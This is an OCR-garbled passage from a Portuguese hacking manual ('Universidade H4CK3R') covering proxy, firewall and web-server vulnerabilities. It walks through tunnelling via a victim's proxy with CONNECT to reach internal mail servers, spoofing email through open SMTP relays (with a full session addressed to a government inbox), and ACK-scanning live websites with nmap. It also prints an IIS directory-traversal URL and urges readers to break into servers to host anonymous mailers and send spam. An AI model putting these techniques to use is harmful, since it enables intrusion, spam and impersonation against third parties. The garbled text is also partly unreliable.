das duas aes abaixo:
1 O browser abre uma conexo SSL direta com o servidor https;
2 O browser solicita a abertura de um tnel IP atravs do Squid usando o
mtodo CONNECT.
O mtodo CONNECT uma forma de tunelar qualquer conexo que passe
por um proxy de HTTP. O proxy no interpreta ou entende o contedo que
est sendo tunelado, apenas o repassa entre as duas mquinas envolvidas na
conexo. Paramais detalhes sobre tunelamento e o mtodo CONNECT, veja o .
internet draft "Tunneling TCP based protocols through web proxy servers"
(www: web-cache. com/W ri tings/ln terne t-Drafts/ draft -luotonen-web-proxy-
tunneling-O1.txt) e a RFC2817 (ftp://ftp.isLedu/in-notes/rfc2817.txt)."
Veja a seguinte frase, retirada desse trecho do FAQ:"O proxy no interpreta ou
entende o contedo que est sendo tunelado, apenas o repassa entre as duas
mquinas envolvidas na conexo." Isso quer dizer que o proxy sequer verifica se
os dados esto criptografados ou no. Portanto, pode-se explorar essa
vulnerabilidade simplesmente usando o mtodo CONNECT para conectar-se a
um servidor, que pode ser tanto uma mquina na Internet como um servidor em
sua Intranet! Lembre-se de que o proxy pode estar rodando na mquina gateway,
que possui duas interfaces de rede (uma para a rede interna e outra para a rede
externa). Tomando posse do proxy, o invasor tem acesso rede interna, mesmo
que ela seja implementada com IPs reservados como 10.0.0.0. ou 192.168.0.0!!!
Que tal um exemplo prtico? Em um proxy vulnervel, nos conectaremos a
um servidor de e-mail interno e o usaremos como remailer. Considere as se-
guintes informaes:
~ IP do atacante: 200.230.xxx.yyy
~ Proxy vulnervel da vtima: 64. 131.aaa.bbb, "escutando" na porta 3128
~ Servidor SMTPinterno da vtima: 192.168.1.11
Conecte-se ao proxy usando o velho e bom telnet (o exemplo usa o shell do
Unix, mas pode ser feito no Windows sem problemas, com emuladores de ter-
minal e telnet como o TeraTerm ou mesmo o HyperTerminal, que vem "de brin-
de" com o SO):
$ telnet 64.131.aaa.bbb3128
Uma vez conectado, digite o seguinte comando:
CONNECT192.168.1.11:25/ HTTP/1.0
Se, como resposta, aparecer o banner do servidor, voc pode emitir coman-
dos para enviar seus e-mails annimos (veja a prxima seo, "Anonymous
remailers", ainda neste captulo). Note que SMTPfoi usado aqui apenas como
exemplo. Voc pode usar o mtodo CONNECT para qualquer servio: POp, FTP,
1189 I
I Vulnerabilidades 11
IUniversidade H4CK3R I
HTTP,5MB/CIFS,Telnet novamente... Note ainda que, tunelando vrios proxies
em cadeia, possvel colocar vrios nveis de proxying em seus ataques.
A correo para este problema to simples quanto bvia: desligue o TCP
Thnneling no seu proxy. Se o tunelamento for absolutamente necessrio, no deixe
seu proxy conectado diretamente Internet. Instale-o em outra mquina e coloque-
o atrs do firewall. Restringir as portas pelas quais se pode fazer o tunelamento,
deixando apenas as que realmente sero usadas, tambm uma boa sada.
Squid
O Squid, proxy server nmero um para amantes do Unix e do Software Livre,
tambm tem suas mazelas. Sites com Squid e regras de flrewalls mal conflgura-
dos so um prato cheio para quem est procurando anonimato. Mas mesmo
sistemas perfeitamente conflgurados (e indiscutivelmente seguros do ponto de
vista do administrador) podem estar frgeis a ataques. Uma vulnerabilidade
recente (lwn.netNulnerabilities/4;;;;;;6) permite diversos ataques, entre eles:
~ Problemas com o protocolo Gopher permitem que menus malformados
causem problemas de segurana;
~ Os dois canais de comunicao FTP permitem que dados sejam extrados
ou inseridos, podendo forar o download de arquivos arbitrrios ou a execu-
o de comandos no servidor;
~ Falha na autenticao permite que usurios no cadastrados utilizem o proxy.
As trs falhas poderiam ser usadas para, alm da invaso do servidor no qual
o Squid estivesse rodando, forar o proxy a fazer relay de IPs no autorizados.
Exploits podem ser encontrados no Security Focus (www.securityfocus.com).
A correo simples: atualize seu Squid para a verso 2.4.STABLE7 ou superi-
or. Mas como os administradores de rede por a so preguiosos (e a falha
relativamente nova, de novembro de 2002), possvel que voc encontre, por
muitos anos ainda, Squids com verses vulnerveis.
WinGate
O WinGate foi lanado em 1995 como um compartilhador de Internet para
redes domsticas. Simula um proxy/gateway por IP Masquerade e, pelo seu
preo baixo, foi muito popular nos EUA.Apesar de ser um produto j velhinho,
muita gente ainda o usa para compartilhar sua conexo de Internet com as
mquinas de uma pequena rede. H diversas maneiras de tirar algumas verses
antigas do WinGate do ar. Uma das mais conhecidas conectar-se (com telnet,
por exemplo) porta 2080 e enviar alguns quilobytes de dados quaisquer.
Mas o interessante que algumas verses do WinGate mal conflguradas per-
mitem que ele seja usado como proxy annimo. Se voc roda um desses, est
arriscado a emprestar o SEUIP para que script kiddies ataquem o Pentgono.
Encontrar exploits para o WinGate muito fcil. Use seu mecanismo de busca
190 I
Vulnerabilidades 11[
Universidade 2 Ano
favorito e procure por "wingate scanner". Tenha em mente que muitos desses
scanners podem ser armadilhas para pegar script kiddies e, portanto, conter
vrus e trojans - atualize seu antivrus!!!
A correo para isso bem fcil. Se voc insistir em usar Windows, faa um
upgrade do WinGate (www.wingate.com) ou use outro software, como o
WinProxy (www.winproxy.com).As verses mais novas do Windows possuem
o Internet Connection Sharing, que dispensa o uso de programas externos. Mas
o prprio ICS , em si, inseguro, ento recomendamos que instale um ftrewall
pessoal como o ZoneAlarm (www.zonealarm.com) ou compre por uns troca-
dos uma sucata de 386 (funcionando, obviamente) com pelo menos 8 Mbytes
de RAMe sem nenhum HD. Nela, instale algum gateway+ftrewall baseado em
Linux ou FreeBSD.Boas pedidas so o Coyote Linux (www.coyotelinux.com). o
Trinux (trinux.sourceforge.net) e o FreeSCO (www.freesco.org). A sucata de
386 custar mais barato que as licenas de WinGate, WinProxy ou do Windows
com ICS e Zone Alarm.Alm disso, se bem conflgurada funcionar melhor, ser
mais segura e deixar seu miero de trabalho com menos porcarias instaladas.
Anonymous remaiLers
Uma das coisas mais chatas que existem (depois dos vendedores de enciclo-
pdia, dos pop-ups em web sites e dos representantes tcnicos de grandes
softwarehouses, insistindo para que voc use o carssimo programa deles, e
no aquele gratuito que faz a mesma coisa) o spam. Todos ns recebemos,
diariamente, dezenas ou mesmo centenas de mensagens indesejadas nos ofere-
cendo de tudo, de sexo a cera colorida para automveis, de panelas ultra-mo-
dernas a consolidao de dvidas. Em um primeiro momento, fcil conflgurar
um cliente de e-mail como o Outlook ou o Eudora para, no campo "From" das
mensagens enviadas, apresentar um endereo diferente. do seu.
Mas esse artifcio logo descoberto, pois no cabealho do e-mail (os dados
que vm antes de sua mensagem, e que normalmente no aparecem) ficam
registrados seu e-mail verdadeiro, o endereo de seu servidor SMTP e at o
nome do programa que voc usou. Para enviar spam sossegado (ou um cavalo
de tria) voc tem, ento, duas opes:
~ Encontrar servidores de SMTPque estejam abertos para relay externo, ou
seja, que aceitem conexes vindas de qualquer canto da Internet. Acredite, eles
so bem comuns...
~ Utilizar um software ou site que reenvie seus e-mails sem revelar a origem.
Em servidores SMTP desprotegidos, voc pode configurar seu cliente de
e-mail para conectar-se a ele, mas isso poderia deixar muitos rastros. Uma boa
tcnica usar o velho e bom telnet para tal. Depois de encontrar um servidor
de e-mail aberto ao grande pblico, d um telnet a ele na porta 25:
$ telnet IP.DO.SMTP.ABERTO 25
1191 1
I Vulnerabilidades II
I Universidade H4CK3RI
No prompt que aparecer, voc deve digitar os comandos que, normalmente,
seu programa de e-mail enviaria ao servidor - sim, eles esto em texto puro!
HELO servidor. aberto. com
MAIL FROM: mailfalso@servidor.aberto.com
RCPT TO: pr@presidencia.gov.br
DATA
Date: Thu, 31 Dec 1998 12:16:35-0500 (EST)
From: mailfalso@servidor.aberto.com (Um brasileiro resoluto)
To: pr@presidencia.gov.br
Subject: Programa de Governo
Reply-To: mailfalso@servidor.aberto.com
Ei! Quando vocs vo comear a cumprir o programa de
governo, hein?
QUIT
Alguns sistemas, mesmo abertos para relay externo, so imunes a esse procedi-
mento. Voc conseguir enviar o e-mail, mas no ser permitido "mentir" a respeito
de seu endereo. Enviar um e-mail a voc mesmo um bom teste, mas no esquea
de verificar os cabealhos! O que ocorre que servidores de SMTPmais novos
verificaro sua identidade com o servio identd (que tenta identific-Ioremotamen-
te). Nesses casos, necessrio "enganar" o identd primeiro, para depois usar o
SMTPaberto. No tenha preguia de completar todos os campos mostrados. As-
sim, sua mensagem ficar mais parecida com uma mensagem real. Para mais infor-
maes sobre o funcionamento do protocolo SMTP, leia as RFCs 822 e 931.
H diversos sites que enviam e-mails annimos. Mesmo grandes sites de hospe-
dagem gratuita e mecanismos de busca (como o Lycos: members.lycos.fr/
moiaptoi/mail.php) possuem pginas especiais para enviar e-mails com mensa-
gens ou e-cards aos seus amigos - ferramenta que, na mo de um hacker, torna-se
uma arma. Uma rpida pesquisa no Google retomou vrios exemplos de web
anonymous mailers. Separamos, dentre as centenas mostradas, estes cinco:
~www.gi1c. org/speech/anonymous/remai1er.html
~ fanc1 ub. etoy. c3 .hu/tanksystem/underground-tank/resistance/
mailerform.html
~judsonalumni.com/1evel5
~www.email-anonyme.fr.st
~mailer.us.tf
Voc pode ainda invadir um servidor qualquer na Internet e imp1ementar
l, sem que ningum saiba, seu prprio Mailer. Um exemplo de cdigo (em
PHP) pode ser visto em http://www.pscode.com/vb/scripts/
ShowCode.asp ?txtCodeId=95 3&lngWId=8.
H pilhas de softwares que automatizam o processo de enviar toneladas de e-
mails para milhares de endereos, incluindo a imp1ementar seu prprio servi-
dor SMTP domstico ou varrer a Internet atrs de servidores podres. Se voc
<=Um site de estudantes!
1192 I
Vulnerabilidades 11[
Universidade 2 Ano
usa Unix e tem conexo direta com a Internet, pode instalar um servidor com-
pleto de SMTPem sua mquina, configur-Io para um domnio fictcio qualquer
e mandar brasa! Alguns provedores bloqueiam servidores SMTP em seus assi-
nantes, mas nada que um proxy pblico no resolva...
H diversas opes disponveis, sendo o Qmail, PostflX e o veterano Sendmail
as mais conhecidas. Em um refmamento desse processo, podem-se utilizar ser-
vidores de listas de discusso para automatizar a entrega a muitos destinatri-
os. Entre os servidores de listas mais comuns encontram-se o Majordomo, o
Exim e o GNU Mailman. Para alimentar os servidores de listas, basta criar uma
lista de distribuio e cadastrar, aos poucos, endereos colecionados pela Internet.
H scripts como o Bulk Mailer (ftp://cs.utk.edu/pub/moorelbulk mailer/) que
facilitam a tarefa ainda mais. Uma procura no Google j seria suficiente para
comear, mas no h necessidade: voc pode, simplesmente, copiar e colar a
partir daqueles e-mails de corrente e mensagens de fim de ano que se costuma
receber e que normalmente vm repletos de endereos nos campos "Para" e
"CC". Se voc inimigo do spam, uma dica: ao reenviar mensagens, use sempre
o campo "Cpia Oculta" ou BCC.
No lado do cliente, ainda possvel enviar e-mails annimos sem invadir ser-
vidor algum. Tenha em mente que, apesar de ser uma soluo mais simples,
perigosamente fcil de ser rastreada. Alguns programas (pagos) para Windows
que fazem isso so:
~ Send-Safe: www.send-safe.com
~ Bulker: bulker. us
No CD, h alguns outros programas gratuitos que prometem cumprir o pro-
metido: enviar e-mails annimos a um grande nmero de pessoas. Teste todos.
Mas no se prenda facilidade de um script, como diria a hackergirl Melpneme.
Tente entender como os servidores SMTPfuncionam, e ver que fcil utilizar
qualquer um deles para enviar e-mails annimos. Uma ltima recomendao:
leia as RFCs!
Furando firewalls
Quando algum invade um computador domstico, tem sua disposio al-
guns arquivos importantes apenas para o dono. Talvez algum software bacana
que merea ser copiado. Essas mquinas no servem para realizar o sonho
warholiano desses adolescentes: ter seus breves momentos de fama.
Para conseguir a to sonhada publicidade grtis, necessrio atacar sistemas
que sejam visveis ao grande pblico. Alterar web sites a primeirssima esco-
lha, uma vez que algum recado pode ser dado e a obra-de-arte sempre vir
assinada. Mas h outras opes de grande repercusso, embora mais annimas.
Derrubar servidores de empresas ou roteadores da Internet so duas delas.
Apesar do anonimato, o estrago causado grande.
1193I
]Vulnerabilidades II
I Universidade H4CK3R I
Firewalls
Falemos a verdade: quem hoje, em s conscincia, deixaria um servidor Web
ligado diretamente Internet? (Ok, ok, ok, est bem: muita gente faria isso...?)
Mesmo que sejam mquinas acessveis aos internautas em geral, um certo grau
de proteo deve ser providenciado para que nosso site no seja molestado
logo no primeiro dia (ou antes, na primeira hora...). Essa proteo usualmente
relegada a equipamentos chamados fn-ewa1ls.
Um firewall sempre colocado na divisa entre duas ou mais redes. Pode ser
entre redes privadas ou entre uma rede privada e a Internet. A funo de tal
equipamento controlar o trfego entre elas, permitindo ou bloqueando infor-
maes de acordo com regras preestabelecidas. H diversas explicaes para
a palavra firewall. Os autores preferem a definio de "porta corta-fogo", ou
seja, deixa passar as pessoas correndo do incndio mas bloqueia o fogo.
Analogamente, os firewalls agem como portas que permitem a algumas cone-
xes entrar ou sair da rede, enquanto bloqueia as demais. Normalmente, as
conexes originadas de dentro da rede so permitidas, enquanto as originadas
de fora da rede so bloqueadas.
Permite ~da e retorno
H trs tipos bsicos de firewall. Os dois mais tradicionais so os filtros de
pacotes e os proxies. O terceiro tipo uma evoluo do filtro de pacotes tradi-
cional chamado de filtro de estados de pacotes ou stateful packet filter (SPF).
Filtros de pacotes
A tentativa mais antiga de barrar acessos indesejados em nossas redes talvez
seja a de analisar os pacotes TCP/lP um por um e, olhando em seus cabealhos,
decidir (ou adivinhar) se o mesmo maligno ou no. Normalmente, as "pergun-
tas" que o f11trofaz ao pacote so:
~O pacote destinado ao endereo IP de algum servidor da rede?
~ Seu endereo IP de origem permitido nesta rede?
~ A porta TCP/UDP a que se destina corresponde a um servio ofertado na
minha rede?
~Aporta TCP/UDP de origem corresponde a uma aplicao-cliente dos meus
servios?
11941
Vulnerabilidades 111
Universidade 2 Ano
~ Os bits do pacote (SYN ou ACK) so parte do handshake TCP?
~ O pacote IP est saindo ou entrando da rede?
Se a resposta para as cinco primeiras perguntas for "sim", o ftrewall permite
que o pacote entre ou saia. A conftgurao de cada uma das situaes de per-
misso ou bloqueio de pacotes chamada de regra. Um conjunto qualquer
dessas regras chamado de access controllist (ACL).H vrios softwares dife-
rentes que implementam f1ltros de pacotes. Alguns so instalados em hardwares
especftcos como roteadores e os chamados "firewalls de rack". Outros so
programas que rodam em computadores comuns. Alguns possuem interfaces
grficas para conftgurao, outros devem ser ajustados com linhas de coman-
do por vezes complexas. Como a sintaxe e o modo de conftgurao variam
muito, no possvel apresentar um exemplo real de regra de ftrewall. Entre-
tanto, como tecnicamente a f1ltragem idntica, variando apenas a sintaxe do
comando, uma tabela de regras poderia, para fms didticos, ser escrita assim:
Neste exemplo, nosso administrador de redes quis liberar o acesso World
Wide Web para os usurios dessa rede. Normalmente, os servidores Web rodam
na porta TCP 80 (lembre-se: RFC1700). Segundo a primeira regra, todas as cone-
xes de dentro para fora cujo destino seja a porta 80 so permitidas. Obviamen-
te, o browser do usurio envia um pacote TCP SYNpara a porta 80 do servidor
Web e espera uma resposta. Tal resposta vem sob a forma de um pacote ACK,
cuja porta de origem a TCP 80 do servidor com destino a uma porta qualquer
maior que 1.024 no computador do usurio. A segunda regra permite isso.
A terceira regra permite que qualquer requisio de conexo (ou seja, um
pacote TCP SYN) seja passada ao endereo do servidor Web, e apenas a ele, na
porta 80. Uma requisio porta 80 de outra mquina qualquer ser bloquea-
da. A resposta do nosso servidor Web passa pelo ftrewall, permitida pela regra
quatro. Por ftm, a regra cinco bloqueia todas as outras conexes.
Mas o f1ltrode pacotes ignorante. Alm do que est defIDidoem suas regras, ele
no sabe de mais nada. Observe a regra dois. Qualquer pacote TCP vindo de fora,
cuja origem seja a porta 80 e o flagACKesteja ligado, seria aceito pelo ftrewall sem
reclamar. Ora, um hacker poderia enviar um pacote ACKque no fosse parte de um
hadshake TCP.Com esse pacote, todos os endereos IP da rede poderiam ser testa-
dos para verificar sua existncia. Isso um belo furo de segurana!
1195 1
I Vulnerabilidades II
IP Origem
IP Destino
Porta Origem
Porta Destino Protocolo
FlagTCP Ao
Rede Interna Rede Externa Todas 80 TCP Todos Permitir
Rede Externa Rede Externa 80 Todas TCP ACK Permitir
Rede Externa Servidor Web Todas 80 TCP SYN Permitir
Servidor Web Rede Externa 80 Todas TCP ACK Permitir
Todas Todas Todas Todas Todos Todos
Negar
I Universidade H4CK3R I
Outro problema so os pacotes UDP.Eles no possuem os flags de controle,
apenas IP/porta de origem e destino. O administrador tem apenas duas opes:
bloque-Ios ou permiti-Ios. Servios importantes como o DNS (porta 53) utili-
zam portas UDP e, portanto, devem ser liberados no flrewall.Ao mesmo tempo,
a mesma porta UDP 53 pode ser usada para transmisso de dados para o hacker
a partir de um cavalo de tria. O f1ltro de pacotes no tem como diferenciar
entre a conexo vlida e a maliciosa.
Proxies
Os f1ltros de pacotes, como o nome j diz, baseiam-se nas informaes carre-
gadas pelos prprios pacotes para tomar as decises sobre quem entra ou sai
e quem barrado. Diferentemente, flrewalls baseados na tecnologia proxy tra-
balham com a camada de aplicao. O proxy interage com o programa e seus
protocolos, independente de como esse protocolo ser encapsulado na pilha
TCP/lP. Por exemplo, um proxy para Web muito conhecido no mundo Unix, o
Squid, trabalha apenas com o protocolo HTTp, bloqueando os demais2. Alm
disso, imune a ataques com pacotes isolados. O pacote ACK que passou com
galhardia pelo f1ltro de pacotes ser solenemente ignorado pelo proxy, que
ainda vai "escovar os bits" do protocolo HTTP para deixar passar apenas men-
sagens que lhe obedeam estritamente - ao muito mais efetiva do que sim-
plesmente bloquear as conexes ACKTCP/80. H proxies para todos os gostos,
sendo HTTp,FTP e Telnet os mais comuns.
Proxy repassa
solicitao ao servidor
. Proxy
Opcionalmente, um proxy pode autenticar usurios, permitindo que apenas
logins devidamente cadastrados o utilizem. Se til para controlar quem pode
ou no acessar servios externos - um controle assaz vlido em empresas -
muito mais til para impedir que cavalos de tria conectem-se com seus amos
malignos envoltos nas brumas da Internet. De fato, em um f1ltro de pacotes que
permita conexo pela porta TCP 80, alm de requisies HTTP vlidas, poder-
amos ter trojans conectando-se pela mesma porta. Com um proxy isso no
seria possvel. Mesmo que o trojan disfarce seus dados com um cabealho HTTP
vlido, a conexo no passaria pelo esquema de autenticao.
2. Normalmente, ele configurado para servir apenas como o proxy web.
1196 1
Vulnerabilidades II [
Universidade 2Ano
Filtros de pacotes por estado (SPF)
Que tal dotar de alguma inteligncia os microceflicos illtros de pacotes? Uma
nova tecnologia de anlise de pacotes foi agregada aos illtros, permitindo que eles
lembrem-se de pacotes anteriores antes de permitir outro mais recente entrar. Essa
"memria" implementada na forma de uma tabela de conexes ativas. Quando
uma conexo iniciada, todos os dados do pacote so guardados nela. Se um novo
pacote chegar em direo mesma mquina, o SPFconsulta a tabela. O novo paco-
te aceito caso seja dada a continuao da conexo ou rejeitado, se no for.
Um exemplo prtico o prprio hadshake bsico do TCP. Uma mquina de
dentro da rede envia um pacote TCP SYN, que passa pelo SPF e registrado na
tabela. Essa mquina espera por um pacote TCP SYN/ ACK da outra mquina
(externa) que participa da conexo. Quando o pacote chega, o SPF analisa a
tabela e, verificando que um pacote vlido, permite sua passagem. O firewall
sabe que s pode aceitar o pacote SYN/ ACK se ele for uma resposta a um SYN
vindo de dentro da rede. Com isso, aquele black-hat esperto que usou um paco-
te ACK solitrio no conseguir, desta vez, bisbilhotar nossa rede.
Pesquisando as regras do filtro de pacotes
Um script kiddie normalmente desiste de escanear a rede se seus pacotes ACK
no passarem pelo flfewall. H maneiras de furar qualquer um dos trs tipos de
flfewalls, e que sero estudadas com outros detalhes mais adiante no livro.
Por ora, vamos nos preocupar com a fraca oposio oferecida pelos illtros de
pacotes. Tristemente, vemos que a maioria esmagadora das redes conectadas
Internet possui apenas esses illtros instalados. Os proxies so comumente usa-
dos como caches para aumentar a performance das conexes e raramente de-
sempenham um papel de firewall. SPFs so ainda mais negligenciados: a maioria
dos "administradores" de rede por a sequer sabe o que so Stateful Packet Filters.
possvel determinar, por meio de pacotes ACK, quais portas um f1ltro de
pacotes deixou abertas. Como vimos, os filtros de pacotes deixaro entrar qual-
quer pacote com o flag ACK ligado, pensando que so respostas a requisies
saintes SYN anteriores. Um portscanner (por exemplo, o Nmap) pode enviar
pacotes ACK para todas as portas de um determinado endereo. Fazendo isso
com todos os endereos da faixa de IPs designada para aquela rede possvel
determinar todas as regras de f1ltragem daquele firewall.
Rede
Privada
1197 1
I Vulnerabilidades 11
I Universidade H4CK3R I
Para fazer o Nmap enviar pacotes ACKa todas as portas de uma nica mquina,
utilize a opo -sA(voc deve ser root para isso):
# nmap -sAIP.A.SER.VASCULHADO
O prompt mostrado de um Unix, mas o comando no Windows seria exata-
mente o mesmo. Obviamente, podem-se usar os front ends grficos (NmapWin
e Nmapfe) para facilitar a tarefa, se assim for desejado.
possvel fazer o mesmo scan com todas as portas de uma faixa de IPs (ou
seja, diversas mquinas). Por exemplo:
# nmap -sA 192.168.1. *
Varre todos os IPs de 192.168.1.0 a 192.168.1.255
# nmap -sA 192.168.1.3-127
Varretodos os IPs de 192.168.1.3 a 192.168.1.127
Dispare esse comando contra vrios web sites e voc ver que nem todos fize-
ram a lio de casa. Escolha um deles (o mais esburacado) e tente, a partir dos
dados apresentados pelo Nmap, determinar as regras do firewall em questo.
Outro comando muito interessante nesta hora o TraceroutelTracert. Se voc
est em uma mquina Unix, experimente dar o seguinte comando:
# tracerouteIP.DO.WEB.SERVER
Em uma mquina Windows, o comando seria:
C: \ TRACERT IP . DO.WEB.SERVER
Voc ver uma lista com todos os nmeros IP (e, se disponveis, os nomes de
DNS) dos computadores e roteadores que esto no caminho entre o seu compu-
tador e o computador destino. muito provvel que, sendo o computador desti-
no um web server, as duas interfaces de rede (ou seja, os nmeros IP) imediata-
mente anteriores pertenam ao firewall. J temos, com isso, trs informaes
vlidas: o endereo IP do web server, os endereo IP do firewall e suas regras de
filtragem. Com um pouco de pacincia, o "hacker" pode tentar diversos endere-
os prximos com o Nmap e o T,raceroutelTracert e, com os dados obtidos, dese-
nhar um diagrama aproximado da rede a ser atacada. Perigoso, no mesmo?
De posse dessas informaes, um scanner de vulnerabilidades, como o valoro-
so Nessus, poder abrir um mundo de opes para invadir qualquer uma das
mquinas encontradas. Basta descobrir o furo, baixar o exploit (www.cert.org
e www.securitifocus.com. pra comear) e correr para o abrao.
Servidores Web
preciso conhecer com certa profundidade os daemond HTTP a serem ata-
cados para poder, rapidamente, invadi-Ios e alterar suas pginas. Conhecer as
vulnerabilidades existentes neles crucial para o sucesso da empreitada. Aps
invadidos, os caminhos que levam s pginas devem ser descobertos rapida-
mente para evitar um tempo muito longo de conexo e possveis rastreamentos.
1198 I
Vulnerabilidades 11[
Universidade 2 Ano
Apache
O servidor HTTP nmero um no mundo o Apache (www.apache.org).
um programa de cdigo aberto e livre distribuio muito prestigiado por seu
desempenho, segurana e flexibilidade. Entretanto, nenhum software 100%
seguro, e o Apache no exceo.
Os arquivos de configurao do Apache normalmente esto no /etc, nos
diretrios /etc!httpd ou /etc/apache. Em algumas implementaes, podem estar
em /usr/locaVapache ou /var!httpd. importante que o atacante se familiarize
com os conceitos de operao de um servidor HTTP,com o Apache em especial
e, principalmente, com o arquivo de configurao httpd.conf. Outro ponto inte-
ressante a estudar so os mecanismos de acesso a pginas restritas por meio de
senhas. Tais mecanismos usam arquivos normalmente chamados de .htacces para
guardar o login e a senha dos usurios cadastrados. Todas essas informaes
constam na documentao do produto, disponvel no site oficial.
Amelhor maneira de aprender sobre o Apache mexendo nele. Instale um Linux
qualquer em um computador de testes bem como o Apache mais recente. Brinque
com as configuraes, procure HOwros na Internet, crie pginas de acesso restri-
to e, principalmente, veja como a hierarquia de diretrios organizada.
Como nem tudo so flores, o Apache pode estar vulnervel a ataques. Alm
de m configurao do Unix que o hospeda, o prprio Apache pode estar mal
configurado. Mas mesmo que tudo esteja em ordem, pode haver falhas no
software que possibilitem uma invaso. Um exemplo simples. OApache possui
um mdulo, mod_php, que permite a execuo de sistemas escritos na lingua-
gem PHP no servidor. Algumas funes do mod_php permitem que um progra-
ma externo seja executado. Nessas situaes, o controle da porta pela qual o
Apache "escuta" (normalmente a 80) passado a esse programa externo. Sendo
assim, fcil fazer um programinha com cdigo malicioso que permita ao
hacker tomar conta da porta 80: basta que o programa nunca devolva o con-
trole para o Apache e que esteja aberto para transmisso de dados por parte
do hacker. O invasor pode enviar qualquer coisa pela porta 80, inclusive outras
pginas HTML,sem alterar o contedo das pginas hospedadas no servidor. O
exploit e uma explicao mais detalhada podem ser encontrados em
www.guninski.com/phpl.html.
Sun ONE / iPlanet
A Sun oferece o servidor HTTP Sun ONE (antes chamado de iPlanet), um
servidor poderoso e muito rpido, mas tambm com alguns bugs. O Sun ONE
faz parte de um conjunto maior de ferramentas para desenvolvimento de apli-
caes corporativas emJava, e, portanto, difcil (mas no impossvel) encontr-
10servindo pginas da Web. A documentao sobre o servidor pode ser encon-
trada na pgina oficial: wwws.sun.com/software/products/web srvr/
home web srvr.html.
1199 I
I Vulnerabilidades 11
IUniversidade H4CK3R I
Uma das vulnerabilidades mais conhecidas do antigo iPlanet e que algumas
verses do Sun ONE herdaram um bug no componente de pesquisa do servi-
dor - aquele campo que permite ao internauta procurar por alguma coisa den-
tro do site. Um dos parmetros de pesquisa o comando NS-rel-doc-name. Uma
string muito longa associada a esse parmetro causa um buffer overflow no
componente e permite que cdigos arbitrrios com poderes de superusurio
sejam executados no servidor. Se em vez de cdigo for enviada uma string qual-
quer ("lixo"), o servidor poder travar e sair do ar. Avulnerabilidade est explicada
em detalhes no site Security Focus (www.securityfocus.com/bid/48511info).
Microsoft Internet Information Services (IIS)
Mas o campeo absoluto de falhas de segurana em web servers , sem dvi-
da, o Internet Information Server (ou IIS) da Microsoft. Desde seu lanamento,
falhas so descobertas quase que mensalmente, e algumas vezes os hotrIxes e
Service Packs consertam uma ou duas falhas, mas abre outras mais. Os primei-
ros ataques ao IISeram possveis apenas manipulando a URLvisitada. Por exem-
plo, as primeiras verses do IIS permitiam que a URLfosse informada assim:
http://site.com.IIS.com/../../Arquivos de programaslPerl/per1.exe
Note o ../../. Isso indica aoWindows NTpara subir dois diretrios. Ora, se estamos
em /www/documenroot/, basta subir dois diretrios para chegar ao raiz (C\). Se
funcionar, qualquer diretrio estar disponvel ao usurio, incluindo os que con-
tm programas. Se, em vez de navegar com o browser, nosso intrpido hacker
usar o programa telnet, a URLacima precedida pelo comando GETtraria o prompt
de comando do interpretador PerI.A partir dele, qualquer coisa possvel.
Hoje, o maior problema do IIS so os ataques conhecidos como cross site
vulnerabilities. O atacante deve montar um site com IIS e nele colocar uma
pgina HTMLcontendo um script (pode ser ]avascript ou VBScript) que apon-
te para algumas das pginas de administrao do servidor, notadamente os
presentes na pasta IISHELP.O script pode tambm ser enviado por e-mail (e o
Outlook alegremente o executar sem perguntar). Ao ser executado, o script
tomar posse do IIS vtima e no do IIS do hacker. Usando essa falha, o atacan-
te pode monitorar sesses, copiar dados e documentos importantes ou mesmo
executar alguns tipos de programas.
interessante notar que o IISHELP bloqueado para a zona da Internet. Um
script vindo de fora da rede nunca conseguiria acess-Io. Mas ao executar de
dentro da rede (pelo Internet Explorer ou pelo Outlook), o usurio est dando
ao script os poderes necessrios para controlar as pginas administrativas. O
anncio dessa falha pode ser visto no TechNet (www.microsoft.com/technet)
sob o cdigo MS02-062.
Outro problema grande com o IIS o Unicode Bug. O Windows NT (e seu
ftlho, o Windows 2000) est preparado desde h muito tempo para suportar a
codillcao de caracteres Unicode, que visa a unillcar os conjuntos de caracteres
1200 I
Vulnerabilidades II r
Universidade 2 Ano
de todas as lnguas do mundo, acabando com os problemas de
internacionalizao de programas e sites. Ocorre que, apesar de os SOs esta-
rem preparados para o Unicode, o IIS no est. Enviando uma string com in-
meros caracteres Unicode 255c, possvel, no [mal da string, colocar coman-
dos para execuo. No CD, inserimos alguns exploits para o Unicode bug. Para
corrigir esta falha sugerimos que voc substitua o servidor IIS por um Linux
com Apache (a melhor opo). Se insistir em usar o Windows, aplique o patch
oficial, disponvel em microsoft.com/technet/security/bulletin/msOO-057.asp.
O IIS ainda presta um servio ao invasor, gravando dados falsos no logoCon-
forme reportado no Security Focus (www.securityfocus.com/bid/6795/info).
URLsespecialmente malformadas com cdigos hexadecimais podem fazer com
que o sistema grave entradas falsas nos arquivos de logo Com isso, possvel
destruir registros de invaso e confundir os programas que lem o logo
H diversos livros escritos sobre os trs servidores citados, e os sites oficiais
(especialmente o do Apache) fornecero informaes detalhadas e farta docu-
mentao sobre eles. Interrompa a leitura do livro e estude-os. importante.
Sugiro tambm uma passadinha no Security Focus (www.securityfocus.com) e
uma busca pelas vulnerabilidades desses trs servidores de HTIP. Se por acaso
os conceitos utilizados nos sites forem muito obscuros para o leitor, sugerimos
reler todo o livro, bem como os apndices no CD-ROM.
Common Gateway Interface (CGI)
OS servidores HTTP podem ser amplamente estendidos com a adoo de
mecanismos que permitam o chamado contedo dinmico, uma tecnologia que
possibilita a montagem de pginas personalizadas e de contedo varivel para
cada visitante e acesso. Tal tecnologia abriu as portas para uma infinidade de
novos servios ao internauta, como o comrcio eletrnico, as pginas interativas,
os servios de notcias personalizveis e o tratamento de formulrios on-line.
De quebra, tambm abriu as portas para os hackers.
A forma mais antiga de dotar os sites de contedo dinmico so os Common
Gateway Interfaces, ou CGIs. Esses mdulos, agregados ao servidor Web, per-
mitem que as pginas HTML oferecidas possam tanto enviar quanto receber
dados de um programa externo. Com isso, sistemas de tratamento de dados
podem manipular as informaes recebidas e mostrar o resultado na tela. Se
voc no tem idia de como isso pode ser feito, sugiro parar a leitura deste
livro (novamente...) e ir atrs de um bom livro sobre HTML. No, no, seus
conhecimentos de FrontPage ou Dreamweaver no vo ajud-Io agora. Depois
de terminar seus estudos sobre HTML, procure aprender algo sobre ]avaScript
e VBScript. S depois continue no pargrafo seguinte.
Os programas que funcionam como CGI scripts podem ser muito simples. E
podem ser implementados em quaisquer linguagens disponveis no servidor.
Por exemplo, numa mquina rodando Windows, pode-se preparar um
1201 I
]Vulnerabilidades 11
IUniversidade H4CK3RI
